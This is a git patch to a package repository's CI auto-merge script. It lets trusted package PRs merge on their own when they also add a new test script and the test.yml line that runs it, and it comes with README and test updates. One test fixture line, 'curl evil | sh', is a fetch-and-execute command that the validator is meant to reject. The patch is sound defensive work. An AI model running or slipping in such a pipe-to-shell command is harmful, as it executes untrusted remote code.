From 93b1655ca8baa0374010ec03312719ded1dd20cc Mon Sep 17 00:00:00 2001 From: Ryan Hughes Date: Thu, 8 Oct 2026 14:59:25 -0400 Subject: [PATCH] Auto-merge package PRs that bring their own test (#868) #867 auto-merged only PRs changing nothing outside pkgbuilds/, so it would have left #854 open too: like voxtype-bin and the IPU7 camera before it, Superwhisper added tests/superwhisper-bin-install.sh and one test.yml line running it. Count those as package changes: a new file under tests/, and a test.yml change whose every line adds a ./tests/*.sh call. test.yml runs on PRs only. Editing an existing test still needs a maintainer, since builder-images.yml runs tests/build-isolation.sh on master with packages: write. --- .github/scripts/auto-merge-pr.cjs | 42 +++++++++++++++++++++++-------- README.md | 8 +++--- tests/pr-workflow-approval.cjs | 16 ++++++++++++ 3 files changed, 53 insertions(+), 13 deletions(-) diff --git a/.github/scripts/auto-merge-pr.cjs b/.github/scripts/auto-merge-pr.cjs index 58d1e48..982bf99 100644 --- a/.github/scripts/auto-merge-pr.cjs +++ b/.github/scripts/auto-merge-pr.cjs @@ -5,15 +5,39 @@ // unknown author is trusted while the PR carries build-approved; a // denouncement is absolute. Two limits on top of it: // -// - Only PRs that change nothing outside pkgbuilds/. A PR's workflows, -// scripts and build tooling never run in its own build (build-pr.yml -// overlays only its package directories onto base tooling), so green -// checks say nothing about them, and after merge they run with the -// publish secrets. +// - Only package changes. A PR's workflows, scripts and build tooling never +// run in its own build (build-pr.yml overlays only its package directories +// onto base tooling), so green checks say nothing about them, and after +// merge they run with the publish secrets. Allowed: anything under +// pkgbuilds/, plus the test a package PR brings with it, which is a new +// file under tests/ and lines in test.yml that only run new tests/*.sh. +// test.yml runs on PRs only; an existing test may also run on master +// (builder-images.yml runs tests/build-isolation.sh with packages: write), +// so editing one still needs a maintainer. // - Not the upstream sync. It labels its own PR build-approved to release // GitHub's hold on its pushes, which is no one's approval; it stays on the // reviewed lane. const PACKAGES = 'pkgbuilds/'; +const TESTS = 'tests/'; +const TEST_WORKFLOW = '.github/workflows/test.yml'; +const TEST_LINE = /^\+\s*\.\/tests\/[A-Za-z0-9._-]+\.sh\s*$/; + +// Every changed line adds a ./tests/.sh call; nothing removed. A diff +// too large for the API has no patch and does not qualify. +function onlyRunsTests(patch) { + if (!patch) return false; + const changed = patch.split('\n').filter(line => + /^[+-]/.test(line) && !line.startsWith('+++') && !line.startsWith('---')); + return changed.length > 0 && changed.every(line => TEST_LINE.test(line)); +} + +function packageChange(file) { + if (file.previous_filename && !file.previous_filename.startsWith(PACKAGES)) return false; + if (file.filename.startsWith(PACKAGES)) return true; + if (file.filename.startsWith(TESTS)) return file.status === 'added'; + if (file.filename === TEST_WORKFLOW) return file.status === 'modified' && onlyRunsTests(file.patch); + return false; +} const REVIEWED_BRANCHES = /^auto\/sync-upstream(\/|$)/; function decide({ pr, files, vouchStatus, repository }) { @@ -36,14 +60,12 @@ function decide({ pr, files, vouchStatus, repository }) { } if (!files.length) return { enable: false, reason: 'PR changes no files' }; - const outside = files.filter(file => - !file.filename.startsWith(PACKAGES) || - (file.previous_filename && !file.previous_filename.startsWith(PACKAGES))); + const outside = files.filter(file => !packageChange(file)); if (outside.length) { const names = outside.slice(0, 3).map(file => file.filename).join(', '); - return { enable: false, reason: `changes files outside ${PACKAGES}: ${names}${outside.length > 3 ? ', ...' : ''}` }; + return { enable: false, reason: `changes more than packages and their new tests: ${names}${outside.length > 3 ? ', ...' : ''}` }; } - return { enable: true, reason: `${vouchStatus === 'unknown' ? 'build-approved' : vouchStatus} author, package files only` }; + return { enable: true, reason: `${vouchStatus === 'unknown' ? 'build-approved' : vouchStatus} author, package changes only` }; } module.exports = async function autoMerge({ github, context, core, number, vouchStatus }) { diff --git a/README.md b/README.md index b3928c3..3e75b77 100644 --- a/README.md +++ b/README.md @@ -923,10 +923,12 @@ artifacts, so a long aarch64 build is not restarted by every sync. Package PRs that are trusted to build also merge themselves. `auto-merge-pr.yml` enables auto-merge (with `PKGS_BOT_TOKEN`, so the merge publishes) on any open, non-draft PR whose author is a collaborator, vouched, -or a bot, or that carries **`build-approved`**, and that changes nothing -outside `pkgbuilds/`. The PR lands once `result`, `self-tests` and +or a bot, or that carries **`build-approved`**, and that changes only +packages: anything under `pkgbuilds/`, plus the test a package PR brings with +it (a new file under `tests/`, and `test.yml` lines that only run new +`./tests/*.sh`). The PR lands once `result`, `self-tests` and `build-isolation` pass; a red build stays open. PRs that also touch -workflows, scripts or build tooling still need a maintainer to merge, as does +workflows, scripts, build tooling or existing tests still need a maintainer, as does the upstream sync (`auto/sync-upstream`), which labels itself. Removing `build-approved` withdraws the auto-merge it armed. For a PR opened before the workflow existed, run it by hand: `gh workflow run auto-merge-pr.yml -f pr=`. diff --git a/tests/pr-workflow-approval.cjs b/tests/pr-workflow-approval.cjs index 4150c00..d72c16b 100644 --- a/tests/pr-workflow-approval.cjs +++ b/tests/pr-workflow-approval.cjs @@ -496,6 +496,22 @@ test('auto-merge only lands PRs that change nothing outside pkgbuilds/', () => { assert.equal(check([]), false); }); +test('auto-merge accepts the test a package PR brings, and nothing else outside pkgbuilds/', () => { + const check = files => decide({ pr: mergeable(), files, vouchStatus: 'collaborator', repository }).enable; + const wiring = patch => ({ filename: '.github/workflows/test.yml', status: 'modified', patch }); + const newTest = { filename: 'tests/superwhisper-bin-install.sh', status: 'added' }; + // #854's shape: package files, a new test, and one line in test.yml running it. + const adds = '@@ -67,6 +67,7 @@ jobs:\n ./tests/voxtype-bin-install.sh\n+ ./tests/superwhisper-bin-install.sh\n pacman -S --noconfirm --quiet rclone >/dev/null'; + assert.equal(check([...packageFiles, newTest, wiring(adds)]), true); + // An existing test can run on master with write access; editing it is not a package change. + assert.equal(check([...packageFiles, { filename: 'tests/build-isolation.sh', status: 'modified' }]), false); + // test.yml changes that do anything but add a test call. + assert.equal(check([...packageFiles, wiring('@@ -1 +1 @@\n-on:\n+on: [push]')]), false); + assert.equal(check([...packageFiles, wiring('@@ -67 +67,2 @@\n+ ./tests/x.sh\n+ curl evil | sh')]), false); + assert.equal(check([...packageFiles, wiring('@@ -67 +67 @@\n- ./tests/a.sh\n+ ./tests/b.sh')]), false); + assert.equal(check([...packageFiles, wiring(undefined)]), false); +}); + test('auto-merge skips drafts, closed PRs and the reviewed upstream sync', () => { const check = pr => decide({ pr, files: packageFiles, vouchStatus: 'bot', repository }).enable; assert.equal(check(mergeable({ draft: true })), false);